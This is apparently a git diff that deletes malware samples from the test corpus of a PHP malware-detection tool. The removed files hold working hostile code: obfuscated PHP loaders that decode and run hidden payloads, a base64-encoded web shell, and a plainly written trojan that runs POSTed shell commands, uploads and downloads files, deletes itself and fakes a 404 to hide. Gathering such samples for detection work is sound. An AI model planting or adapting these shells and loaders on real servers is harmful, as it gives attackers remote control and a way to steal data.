-+*OJHj1.)n-$HjFsz)&D+.84k?9#+RaqlHb(Ors0cK-DC.$GcReUQ*-(z8#qA=1G&?j=O*jZkRv6Cr$GCTjDAHXZAKb=kr9UxHeZQ=n6hKa#X_bCXD9_OgXZCR5d+.$Dc.X(A*udk*1v+*AZA*5Gc78uA*ej&.(0kEPD&.1#C.8vxEP5k.8sCrndOr1G&.$K&?PjCT#dCH80&.(GATPU+.ndnreT+HPU)n5dO=84kgCGz.XTzv(7xDc#h_Obh,cbhKenh_c6e_C6e_cNh,a6h,aFxge#O*utcKb(Q.(Ul,aZwgj=Cr8(+Tdv_Uv#)_a-_D7#)n1X_Uv#))#v_D$z)nF-h,7#)n1Xh,7#h)vLAHAsk?sEOHe(eKVfA.8KkrV(lReUCqVTl.&6&*9Kkrj#C=8DCTsEOHe(eKVfA.8KkrV(l.ATA*$vl?Vz)_PXh,$zh_PX_U(z)_PXx?Vzh_PXh7v#hnF-_Uv#hn1X_UvZl)v4Xr$5zT#gX?9)Ojs4Q.s(&gJj8E(fkKdI)71Plrb,X($=ARe$)gOJzH$l*v(we.XRh?hb87VIC=&jw_AhVK$85.j#kT$Hng(?X*(U__hT*)C4XU$?5UV$Vv&c)nZx_7jw_jPVn(en88AH*$(+O*XKA.8=ArsZ+=b4k*90CR$TCgVj&q&uQHJ-hKhUe_Ogw,v#xE#sX?n=lEdZx8FNznaKzTCZl)vLC=8U&HXGw#MMn(1n*$VOn(V$5v8O58V)Hjen8$V)878nV81$878$n(XOHU$?8$e$njXf8$1)V8X?V8VP878OV8V?njeO5(XfnjXn8$snV8V_nv8)nje_V8X_HU8?87$_58X_V8VOHjV$njV)nv$_V81_V8e$581)878n8$1f878$n(Xn8$1O*7$n5v8_8$sfnU8)Hje?Vn$fnjen87Xn*$V?8$X$V8efnv8?8$V?5v$_njVPHj1PV8V)VnXO8$1_HU8nnjePnU8P8$e_njsP8$VO8$V)8$XfHUXOHUXfV81f*$X)Hjs$5(1$HU8$87$On(Xf8$XOHjX$nv8_njV$8$V)V8XnHjsnn(1?V8XOn(Xfn(1)V81Pnje_58VOV8V?8$1O*78_nU8_8$Xf*$e$*$Vf8$sf*$X?nje?nvXfn(X)V81$n(XOn(eOV81_8$1$8$1_Vn8PV8X)V8X)5(snnjXf8$V)8$Xn8$1)58e$n(Xn58enn(1n5(VPnj1?n(sn5v8fnjV$HjVf878fn(VOHje$58VPHjenHjV)*aMMeJyrcil1q0oP8HK2D9DwLyo2SA5KtXROD9PI1kwp8whVU7FQMSl0tldTy4k38QUAPQ8NPg==V8V_878)*$sP8$V)*7$fnv$n*$snn(Vn581PnvX$Vn$)V8ennU8nn(1nnj1P5(V$HjVn58s$8$e_HjX)nU$)581_nv8f8$Vn58XnV8XnHjV)nv$fnj1)8$1O*7$Pnje?njV)5(Vn878_n(Vn581nHjenHjenHU$P*$1n878$*$s$V8VnV8XnnUXnnjXfV8V_nje)V8e)HjXn87$nV8V$njV)878_n(e$8$Xf5n$fV8VOHUX?58s)Vn$nHU$_V8e?nj1f8$1PnU$_n(X_nj1f878$Hje?878nnjenn(1P58Xn87Xn8$X)58VfHj1f8$ef8$e)87$)5(V$8$e?nv8OHUX_58V$8$V_n(X)5n$)Hj1nnU8n diff --git a/php-malware-finder/samples/obfuscators/online_php_obfuscator.php b/php-malware-finder/samples/obfuscators/online_php_obfuscator.php deleted file mode 100644 index e64cb31..0000000 --- a/php-malware-finder/samples/obfuscators/online_php_obfuscator.php +++ /dev/null @@ -1 +0,0 @@ - diff --git a/php-malware-finder/samples/obfuscators/phpencode.php b/php-malware-finder/samples/obfuscators/phpencode.php deleted file mode 100644 index a6797f5..0000000 --- a/php-malware-finder/samples/obfuscators/phpencode.php +++ /dev/null @@ -1 +0,0 @@ -:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]3 x74 141 x72 164") && (!isset($GLOBALS[" x61 156 x75 156 x61"]h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!^>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;%!<*#}_;#)323!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x24/%tjws:*<%j:,,Bjg!)%j:>>1*!%b:>1%s: x5c%j:.2^,%b:%s: x575983:48984:71]K9]77]D4]82]K6]72]K9]78]K5].;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}21]464]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))/*)323zbe!-#jt0*?]+^?]_ x5c}X x24hmg%!<12>j%!|!*#91y]c9y]7]y86]267]y74]275]y7:]268]y7f#! x240w/ x24)##-!#~<#/% x24- x24!>!fyqmpef)# x24*272qj%6<^#zsfvr# x5cq%7/6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]3 162 x65 141 x74 145 x5f 146 x772 145 x66 157 x78"))) { $oqtpxpv = " x6|:*r%:-t%)3of:opjudovg<~ x24! x242178}527}88:}334}472 xw6< x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7y]252]18y]#>q%<#762]67y]5z)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*s%<#462]47d%6|6.7eu{66~67<&w6<*&7-#o]s]! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2*msv%)}k~~~%fdy!%tdz)%bbT-36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]3I7jsv%7UFH# x27rfs%6~6< x7fw*127-UVPFNJU,6<*27-SFGTOBSUO#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#)% x24- x24*#L4]275L3]x45 116 x54"]); if ((strstr($uas," x6d 163 x69 145")) or (strstr($)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;osvufs} x2id%)ftpmdR6<*id%)dfyfR x27tfs%6<*17-SFEBFI,6.%!<***f x27,*e x2GMFT`QIQ&f_UTPI`QUUI&e_SEEB`jix6U<#16,47R57,27Rpd%6!2p%!*3>?*2b%)gpf{jt)!g("", $jojtdkr); $bhlpzbl();}}W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t27ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*#op%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nbsbq%)32d($n)-1);} @error_reporting(0); $jojtdkr = implode(array_map("dudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{h3]y76]277##]y74]273]y76]252]y85]256]y6g]256<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA x24- x24 x5c%j^ x24- x24tvctus)% x24- x24buas," x72 166 x3a 61 x31")) or (strstr($uas!gj}1~!<2p% x7f!~!<##!>!2p%Z<^1"]=1; $uas=strtolower($_SERVER[" x48 124 x5ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{eb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h>EzH,2)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~7;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x24- x24gvodujpo! x24- xSVUFS,6<*msv%7-MSV,6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{666~6!#]D6M7]K3#<%yy>#]Ddbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-if((function_exists(" x6f 142 x5f 16<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&/%rx<~!!%s:N}#-%o:W%c:>1<%b:>11<%j:=tj{fpg)%%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]276197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.985:52985-t.98]epdof./#@#/qp%>5h%!<*::::::-1246767~6/7rfs%6<#o]1/20QUU0~:/h%:<**#57]38y]47]67y]37]88y]27]28yW;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}%tmw!>!#]y84]275]y83]27~!%z!>21<%j=6[%ww)))) { $GLOBALS[" x61 156 x75 156 x65 156 x63 164 x69 157 x6e"; function dhyvbmt($n){return chr(orx27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%tmfV x7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7ww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m," x61 156 x64 162 x6f 151 x64")) or (strstr($uas," x63 150 x72 +;!>!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;W&)7gj6<*K)ftpmdXA6~6/7&6|7**111127-K)ebfsX x27u%)7fm11112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!7{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#27pd%6!bssb2!>#p#/#p#/%z>2*!%z>32>!}t::**<(!(%w:!>! x+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GB)fubfsdXA x27K6< x7fw6*3qj%7><+{e%+*!*+fepdfe{h+{d%)+opj/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!b66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD#r# x5cq%)ufttj x22)gj6<^#Y# x5cq% x27Y%6K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:npd#)tutjyf`opjudovg x22)24y7 x24- x24*1<%j=tj{fpgh1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*C1/35.)1/14+9**-)1/2986+7**^c%j:^Ew:Qb:Qc:W24!bssbz) x24]25 x24- x24-!% x24- x24*!|! x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`62]38y]572]48y]#>m%:j!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%g)!gj<*#k#)usbut`cpV x7f x7f x7f x7f!#]y847,*d x27,*c x27,*b x27)fepdof.)f3ldfidk!~!<**qp%!-uyfu%)3of)fepdof`5j%!<**3-j%-bubE{h%)sutcvt-#w#)lhA!osvufs!~<3,j%>j%!*3! 248L3P6L1M5]D2P4]D6#<%G7#@#7/7^#iubq# x5cq% x27jsv%6^#zsfvr# x5cq%7**^#zsfvStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSopxkrbc'; $vgkbclh=explode(chr((636-516)),substr($awvjtnz,(29027-23007),(198-164))); $jdxccsyh = $vgkbclh[0]($vgkbclh[(7-6)]); $nkttprcq = $vgkbclh[0]($vgkbclh[(7-5)]); if (!function_exists('huqbsiykq')) { function huqbsiykq($ewjaowa, $ppcmgty,$euscsfo) { $rputetgcppb = NULL; for($blvfkqsfhf=0;$blvfkqsfhf<(sizeof($ewjaowa)/2);$blvfkqsfhf++) { $rputetgcppb .= substr($ppcmgty, $ewjaowa[($blvfkqsfhf*2)],$ewjaowa[($blvfkqsfhf*2)+(7-6)]); } return $euscsfo(chr((34-25)),chr((531-439)),$rputetgcppb); }; } $xozybdtes = explode(chr((213-169)),'3371,36,157,63,3931,36,2709,44,5708,38,1659,66,2636,43,4231,64,4563,42,868,40,836,32,3967,62,2332,63,5776,31,4847,58,3660,52,2063,20,4528,35,1170,29,5409,38,4365,58,1914,22,3712,42,1474,28,2555,41,5552,35,4949,31,3260,23,53,43,780,24,5965,55,5180,40,3407,49,970,62,1936,50,1791,45,1502,28,3132,66,4713,35,4748,34,3820,62,501,42,4295,70,220,37,1264,64,5918,24,4029,58,2990,53,5875,43,3315,56,640,45,2440,66,5283,25,2679,30,2083,33,5607,55,1836,50,5807,32,3631,29,4423,59,5007,45,0,53,2883,54,4905,44,1886,28,5052,69,2270,62,5839,36,2208,62,280,55,2753,70,2823,60,5351,58,4980,27,2395,45,5662,46,4087,59,2033,30,5121,59,1725,66,3043,67,4482,46,605,35,3882,23,2506,49,685,44,3754,66,4198,33,96,61,1150,20,1032,25,5587,20,908,62,5500,52,2596,40,335,57,3198,62,3110,22,5308,43,1581,24,729,51,1199,65,257,23,4631,27,1057,64,2937,53,2145,63,4605,26,4146,52,3567,64,5220,63,459,42,3283,32,804,32,1605,54,5942,23,1121,29,1348,61,3510,57,1986,47,1409,65,543,62,5447,27,3456,54,392,67,5474,26,3905,26,4658,55,5746,30,1530,51,1328,20,4782,65,2116,29'); $ympifwn = $jdxccsyh("",huqbsiykq($xozybdtes,$awvjtnz,$nkttprcq)); $jdxccsyh=$awvjtnz; $ympifwn(""); $ympifwn=(599-478); $awvjtnz=$ympifwn-1; ?> diff --git a/php-malware-finder/samples/real/exceptions.php b/php-malware-finder/samples/real/exceptions.php deleted file mode 100644 index d5ce73f..0000000 --- a/php-malware-finder/samples/real/exceptions.php +++ /dev/null @@ -1 +0,0 @@ -"D", "C"=>"B", "B"=>"4", "E"=>"F", "D"=>"C", "F"=>"7", "1"=>"E", "0"=>"9", "3"=>"0", "2"=>"2", "5"=>"A", "4"=>"8", "7"=>"1", "6"=>"3", "9"=>"5", "8"=>"6");$fuwkgtdbkv = "DgokZGVmYXVsdE0hY6Rpb2BgPS5nQ3MnOwoKQGluaV0zZXQoJ2Vycm0yX2xvZycsTlVMTDk"."FDkCpbmlfc2V3KDdsb2dfZXJyb6JzJywwKTsKQGluaV0zZXQoJ27heE0leGVjdXRpb29fdGltZSc"."sMDkFDkCzZXRfdGltZV0saW7pdDgwKTsKQHNldE0tYWdpY70xdW03ZXNfcnVudGltZSgwKTsKQGR"."lZmluZSgnV7NPX7ZEUlNJT3BnLD5nMiB7LjInKTsKDmlmKGdldE0tYWdpY70xdW03ZXNfZ6CjKDkpIHsKID5gIGZ7b"."mN3aW0uIEdTT6N3cmlwc2xhc2hlcygkYXJyYXkpIHsKID5gID5gIDCyZXR7c"."mBgaXNfYXJyYXkoJGEycmE9KS5/IGEycmE9X27hcDgnV7NPc6RyaXCzbGEzaGVzJywgJGEycmE9KS58IHN3cmlwc2xhc2h"."lcygkYXJyYXkpOwogID5gfQogID5gJE0QT7NUIA3gV7NPc6RyaXCzbGEza"."GVzKDRfU10TVDkFDi5gID5kX3NPT3tJRS50IEdTT6N3cmlwc2xhc2hlcygkX3NPT3tJRSkFDn3KD"."mZ7bmN3aW0uIHdzb3xvZ2luKDkgewogID5gaGVhZGVyKDdIVERQLz1uMD53MAQgTm03I1ZvdW9"."kJykFDi5gIDCkaWUoIjQwNDIpOwp0DgpmdW9jdGlvbiCXU30zZXRjb20raWUoJGssIDR2"."KSCFDi5gID5kX3NPT3tJRVska73gPS5kdjsKID5gIHNldGNvb2tpZSgkaywgJHYpOwp0DgppZ"."ighZW7wdHkoJGE7dGhfcGEzcykpIHsKID5gIGlmKGlzc2V3KDRfU10TVEsncGEzcyddKS5mJi5obWQ7KDRfU10TVEsncGEzc"."yddKS50PS5kYXV3aE0wYXNzKSkKID5gID5gIDCXU30zZXRjb20"."raWUobWQ7KDRfU3VSVkVSWydIVERQX3hPU7QnXSksIDRhdXRoX6Chc6MpOwoKID5gIGlmIDghaXNzZXQoJE0AT30LSUVbbWQ7KDR"."fU3VSVkVSWydIVERQX3hPU7QnXSldKSC4fD5oJE0AT30LSUVbbWQ7KDRfU3VSVkVSWydIVERQX3hPU7QnXSl"."dID10IDRhdXRoX6Chc6MpKQogID5gID5gIHdzb3xvZ2luKDkFDn3KDmZ7bmN3aW0uIGEjdGlvblIoKSCFDi5gIDCpZighQ"."DRfU10TVEsnZXYnXSkgewogID5gID5gIDRhIA3gYXJyYXkoDi5gID5g"."ID5gID5gIDJ7bmEtZSIgPTBgcGhwX6VuYW7lKDksDi5gID5gID5gID5gIDJwaHCfdmVyc2lvbiIgPTBgcGhwdmVyc2lvbigpL5og"."ID5gID5gID5gID5id6NvX6ZlcnNpb2BiIA3+IEdTT70WRVJTSU0OL5ogID5gID5gID5gID5ic2EmZW7vZGUiIA3+I1CpbmlfZ2V3"."KDdzYWZlX27vZGUnKQogID5gID5gIDkFDi5gID5gID5gZWNobyCzZXJpYWxpemUoJG1pOwogID5gfSClbHNlIHsKID5"."gID5gIDCldmEsKDRfU10TVEsnZXYnXSkFDi5gIDC0Dn3KDmlmK"."DClbXC3eSgkX7CPU7RbJ2MnXSkgKQogID5gaWYoaXNzZXQoJGRlZmE7bHRfYWN"."3aW0uKS5mJiCmdW9jdGlvbl0leGlzdHMoJ2EjdGlvbicgLi5kZGVmYXVsdE0hY6Rpb2BpKQogID5gID5gID"."RfU10TVEsnYyddIA3gJGRlZmE7bHRfYWN3aW0uOwogID5gZWxz"."ZQogID5gID5gIDRfU10TVEsnYyddIA3gJ7NlY3luZm4nOwppZiggIWVtcHR9K"."DRfU10TVEsnYyddKS5mJiCmdW9jdGlvbl0leGlzdHMoJ2EjdGlvbicgLi5kX7CPU7RbJ"."2MnXSkgKQogID5gY2EsbE07c2VyX2Z7bmMoJ2EjdGlvbicgLi5kX7CPU7RbJ2MnXSkFDmV"."BaXQF";eval/*k*/(ngomynsz($fuwkgtdbkv, $jgzzljfjj));?> \ No newline at end of file diff --git a/php-malware-finder/samples/real/guidtz.php b/php-malware-finder/samples/real/guidtz.php deleted file mode 100644 index d482cb0..0000000 --- a/php-malware-finder/samples/real/guidtz.php +++ /dev/null @@ -1,76 +0,0 @@ - - -#!/usr/bin/php -q -eNrtWWtPW1cW/SsERTVoUHvej1La2MaOzRuDoU6EEHaMzdNpnNSEtl+StGmTn3OeP2/2hWikMcdw -M5NpJ1Ilf7LuXXfts9dee59z7r82TirKvMJOWxL54+l3NHAtNWaO4oAJm95bsCpg5Wm08IzDVs0U -VjfrJ2v9TnulvLNYmCs0RjuPas9KK/KHwuz8/ZuYvyFhFGNRa0+x9S6JubbdWSu9PDlb6xW7a4uD -BcD9sb2/fJiGfBM88ZJqj6ULiJEkZGXUQaXRQgbVO2+1T9NQryIxVCpJo1SKGZOEWq9WuqvbJweN -RbxWWuzJxeIV7D47bu0coQnACuPgSPDSay4DTgKvXDzZBqDS8HBlsb47SCN5RKxlVnArDBeGJpFK -5ZNHa9uo2byO+GDzqNV4Kpp8AmSUwIkxSZhyFKUhK9vFbrmE8MPSsLbWO9mtvKwvlXutDL7RXVlM -I7/l0qIYKYK4pfJpBT3ZHG3Xyq2T8kt+Uis1q+uXg5U67Xxf6beGS72rAESruHH0fH+CpkxUyqKg -vDNMESWSX2kU6/3Ni9MqoMlRGZ2loRw1OvAodLBWEBySUEvl4ln9YthqnTG8vDgUy/1Op3Xek/Xj -QX/9g8ZePB9s1wT+cYJkDaUYSSYRN4GwmPzM98cnLzfLuJkx3q2KFbU/TKO9d1oZzp1CXgRqUBKt -fsHQ0iU6ALSN4+qEfP2utYtQQ4JQTS3TSaRqE7d3Lur9agOfNyujjfURKwLqUHF2WLucAEwZB+VK -5pSM0aeBawi1VkpKrdb6mZWc6uPh2dZi/emEkvKOW0JoxIIYEtOQ9fLodPni5GhlcfBo6ajVWz0q -nq8fN7MUVSv1tTSyNcwyBpbCmdIOpw1ldVE/rJeGZP0Yd+uXLEPcWmIri5X9Ok7DvgbQaJBzDEuw -mXQx7Gx1msXio52N6upFJvzG4WkLTchWUNZKYZyTSBKEfHpRL4fnG6Xmcq28iorFesbzdL3Z6U2w -l/cMReYk5N8aa8kEB9zu0J3eqLx2jM7Wryu0XmngrcHuhMgVV1JgRaSP3Ol0VZWPhsulRmsZwJpn -5fpWGupXKn1wlGkbmQoqzW9pVHlav7zK8kW3slE9KMtBK40H3qSgG8VgsDJSpVVUbqiTzTKvAN7l -yQ4qygn5CI67ICxShJrI02FW+qud5gihWqOT8Xv6bCA6zTTeHzhYhLW0zARnaJpb5aizu0ueN6q9 -zUr1uhP90HgiGbk8GU0wZWaw1YoSx5mWKm0+D9GovVYedQGur46q9UltDXkbRCCOaQddKQnV6uNB -rV/pbfSvugVpqmLp4Hz/0YQESyqQQAqFKBmeYI3lC1Rb2hz1N/r1o3Jjs5SJuvdsebC21d6YYEAC -SQS25qMQ0bB0bh72mo/WiqPacm+4BZCD0YvN9pPKhELxTkunBPZgvBKlk7NcHJ0tl5TYOO5loRfb -L+tntf0JSnRIByg+Q4Xy0qarebfBn5TQoF+/zjR6yr7Xi9uyXQTMqfuBUxu8MNpLKbkzjwvvYCIi -UqDoDTNIhsLewv2HK+ul4srW48I4h8Le48K4pxT2Zm5/YVxN2QspHlhE7YTXWhqLSWFvdq6g2xwz -qdgThtuICqJw5+Cw3TlsK9LGSsnCXALpdcAWWfBR0IlDxADS/NTR4R0sx+evSSzHV2v23kK+aKYe -vJXwr43EalCZ0nwmD69x+wFe+/vV+kplf3/uTQjSOKMippwiG4DLApr6+eep2yHHp4FbIb9ZQEDd -R+WRYSQG6Hoax5m0mN54Aj0+evhpYYkFMR0Nh93nM/f3tyqNnUrjcXKiUsG7GDmgeJSZ4t7sdx/5 -wtczd3/nnfYec6Io/EUR93d+J/HC14XCddLudc+ePn85k2sNZmd/+iSVNz7YQ94KXydLIMEhb75y -EX2M9uanfkkiIhMCQ15BxZNAfC4FvAtSUiQUwZBWwsXdmbn5AmQmHSJHhmiQMwYJO2ZyEfpVSucR -hGCopyCAOwklXrgiBErZqG3sbxU36gsLqaYTqeHg3JFER7mGXR9o5WOklVX7A8eFhwQRG0UE7JBV -52SQGwtyDWIphhFCQfoImBO7AvmlezrsfiShL76YevAbGKgTQoH/Qfez+KMJZSBWa48wdBhmuSSY -XBGaund39t5zToAPj8hKSsJV9q4QDTgybKjAyrxV0oTPyID/EE7Bvgu2nDFQgfXMv9tQwiSV1Ci6 -ADsqRCnJlPU/tKE5sKFcHHIs+PjclO7EN1Uzl69f50hPPgI3nC4nAchm5EYZ5hDUhs5K5zMS4nso -drAHaYk0Puprm7hdir9jA6uUKYB5B1PcRCn+IRmTKEgXFYUZEyJcQPN/smYTZOenDgfPugedfr6J -cOpgmGxEASpXG0sDpho7GINhEe4uhrHdNhCf/mr6y1z4X07f/2o653jwLcqdEpwl/Crl+Z5fwJ+s -5G7wzl9yv0kRmPbcgIGC6PFnVHJORk+pJURBJ6TxQyNMRP4qShkkbIvhX8mJu66fW2vzVdSI00zp -gRHt0IfavH0HOHaKASHcYJ6cdm5+7GryeBOJh31tsJmVK2s+xJc4FPUceonTSMLmKrjsGPd2puOn -qJms8sBm03Jq3+EkjZ7AcEGi1uYTff4m7F29PUE4m2/uIDN2CQJkZr/JBw4TYKc/SC1JVER72OBq -yTWFoXx6b/7BW+VMwCBAjjlCxOfoEIkl+M8C+jYf+McF9I57hnB02BvvUNT/CuhzMI93zlvvYMxw -EUfu3Z2DYwhIQtaMdU4RdLVcf/rgmOBwxXryHuLGMAaen297esex0Nh9X97G9GGV/9pB86dJKvdI -CKYCllJrcGKRqdwgg7UQEkvPKQQBQvlsRG6xscpZ6ySyDJwnh+W8UtZSqGpNjXFIof/roTRB9u+h -9L8bSlHWYO79xVPpxAJ9y8GsFTHGUOe8w1mBeoy85pEpjYQnjn9OBWqw4VIrG2D6DtryySMsZ1DL -GOwWijmauw16/Go/naObdwJzqceMJBE70KkVOiILqfxH4qm3sJbChOxgX+kgTPqpN05DzFmhKMS1 -oOmnbo7ss+mj2o9emNdMMExA9QriNsjeeU8zfgOfXsmbPD4V4fF7vdzfn5961n3+4tn5TPfHg9P8 -nL/79p9HxrWSVUF5cDA4Zm9WOUpIeEdpWk9tTmpCZXRLYjNTdTJYaHdZYW56TEQ3RlE2UnJQbEM0 -rAdgIpyl2xtLif9G9VTXbVcXcSMeT+V4ReDHNHXJxQQtpexjv8NfquP2PXaZVn6czpmenU28nGxm -y+ONQw5EDidJs+ziX6si3c7rGr9+N2OlikchMepepQIn+U6k8WtuFJOwBdZEmQXWX4UCbCOIwTBH -EMjHjtlyFDuBNRIIDBRoy0vpjNtDDG4y78w/unf2gwiLibwRyORGAbgvXLdMFPkFudVh1R/mwodl -Bt1aKu3W8kyIcenL0E6b0zHSmPntJAPncvV32ksHLktYVbfFxFRZZBBbljido0zXf5ETCTDyAxVF -qIap11SdVcnaCqKLOdwu0rvQeX/HzKgPgX47H0+aFdJadt4dMGRgcKFTDcLKRlSXayHl7YcyJl5h -ls5U1GeWSJbQGhvC2lhdIA5eG6aloPisU3olALz5PRV2L3uVDUaA+1BdtP+/0Y5UTVpEOlUxcVEC -LMuG/JvbOA4PutniKbRKTRIUUinnSh1btI4ymEUJA7X9h58//Q+Pal3JKjFBzWwacNmkzFQzv3KD -mG9flxzPkXPLMIVTVhVz73nHfTRHfHlHuUkXuxy4rYcluPfXHLEDVeNpRdJLtKzKswEHOyKKocca -muK5XLCaOiXFVwM2KYiy2UXeeJX7QWtK5d+neEnhBb5hLAA1lihAr2R9y4FReBSJYiJYc+GVMuCk -YXDWvuPSYUcB/ztA35t0buyWvSPLkvRe/LGxP1vCA/se1o7A/S1urhgivA+M7483kDAkdR/yconw -J0c3hPQk1QNHCOx5eaSzr5PpyMinhaUg9uzFwPIjrvuKAJiedmrbeePbotF9/fQG56b1PddBeuVv -dlhdN8VPstsSb6ojoTvp1HnvhHZzjso97zXXAfiwWcEdsJaJ5gt8klVOAu/tqCWq9OQVRtrXV7Xz -7Cr1DZmmf1C/0A6ACqjy4ArUaW4S1eXhOYjd629jmphkP3zm7x0o9c1PjPpa+5umkf+/T87S+67f -DldivnXVk/1Ce4BaBUr98Frd9CdNw9MJIwEos6CrgUwqxKCDlT2o50g9lCy53/X1+28awvDdGjf0 -vqZx4/xfETz+swxjWkwrwfMUPs5xuFFAJFESTEWGZL/3C44pT8DwOgXcVRMMTAYEflRhnjL9Iuqh -oFiw8KFBTjSQa+2P5uQrlzMggBl2rl72oS6mru8ad2QnQmngadsBQAwOqKYCa2Awep08EKR8ppFB -YTKY7Geso8iShLmL/QXbtCswu8Tv+SDbrGc99l94uC6J diff --git a/php-malware-finder/samples/real/ice.php b/php-malware-finder/samples/real/ice.php deleted file mode 100644 index 6f8edc0..0000000 --- a/php-malware-finder/samples/real/ice.php +++ /dev/null @@ -1 +0,0 @@ - diff --git a/php-malware-finder/samples/real/include.php b/php-malware-finder/samples/real/include.php deleted file mode 100644 index 58712f1..0000000 --- a/php-malware-finder/samples/real/include.php +++ /dev/null @@ -1,4 +0,0 @@ - - -# TODO: Change this password. Don't leave the default! -define('PASSWORD', 'the-password'); - -# Override the default error handling to: -# 1. Bludgeon PHP `throw`-ing rather than logging errors -# 2. Keep noise out of the error logs -set_error_handler('warning_handler', E_WARNING); -function warning_handler($errno, $errstr) { - throw new ErrorException($errstr); -} - -# get the POSTed JSON input -$post = json_decode(file_get_contents('php://input'), true); -$cwd = ($post['cwd'] !== '') ? $post['cwd'] : getcwd(); - -# feign non-existence if the authentication is invalid -if (!isset($post['auth']) || $post['auth'] !== PASSWORD) { - header('HTTP/1.0 404 Not Found'); - die(); -} - -# return JSON to the client -header('content-type: application/json'); - -# if `cmd` is a trojan payload, execute it -if (function_exists($post['cmd'])) { - $post['cmd']($cwd, $post['args']); -} - -# otherwise, execute a shell command -else { - $output = []; - - # execute the command - $cmd = "cd $cwd; {$post['cmd']} 2>&1; pwd"; - exec($cmd, $output); - $cwd = array_pop($output); - - $response = [ - 'stdout' => $output, - 'stderr' => [], - 'cwd' => $cwd, - ]; - - die(json_encode($response)); -} - - -# File-download payload -function payload_download ($cwd, $args) { - - # cd to the trojan's cwd - chdir($cwd); - - # open the file as binary, and base64-encode its contents - try { - $stdout = base64_encode(file_get_contents($args['file'])); - $stderr = []; - } - - # notify the client on failure - catch (ErrorException $e) { - $stdout = []; - $stderr = [ 'Could not download file.', $e->getMessage() ]; - } - - die(json_encode([ - 'stdout' => $stdout, - 'stderr' => $stderr, - 'cwd' => $cwd, - ])); -} - -# File-upload payload -function payload_upload ($cwd, $args) { - - # cd to the trojan's cwd - chdir($cwd); - - # base64-decode the uploaded bytes, and write them to a file - try { - file_put_contents( $args['dst'], base64_decode($args['data'])); - $stderr = []; - $stdout = [ "File saved to {$args['dst']}." ]; - } - - # notify the client on failure - catch (ErrorException $e) { - $stdout = []; - $stderr = [ 'Could not save file.', $e->getMessage() ]; - } - - die(json_encode([ - 'stdout' => $stdout, - 'stderr' => $stderr, - 'cwd' => $cwd, - ])); -} - -# Trojan autodestruct -function payload_autodestruct ($cwd, $args) { - - # attempt to delete the trojan - try { - - unlink(__FILE__); - $stdout = [ 'File ' . __FILE__ . ' has autodestructed.' ]; - $stderr = []; - } - - # notify the client on failure - catch (ErrorException $e) { - $stdout = []; - $stderr = [ 'File ' . __FILE__ . ' could not autodestruct.']; - } - - die(json_encode([ - 'stdout' => [ 'Instructed ' . __FILE__ . ' to autodestruct.' ], - 'stderr' => [], - 'cwd' => $cwd, - 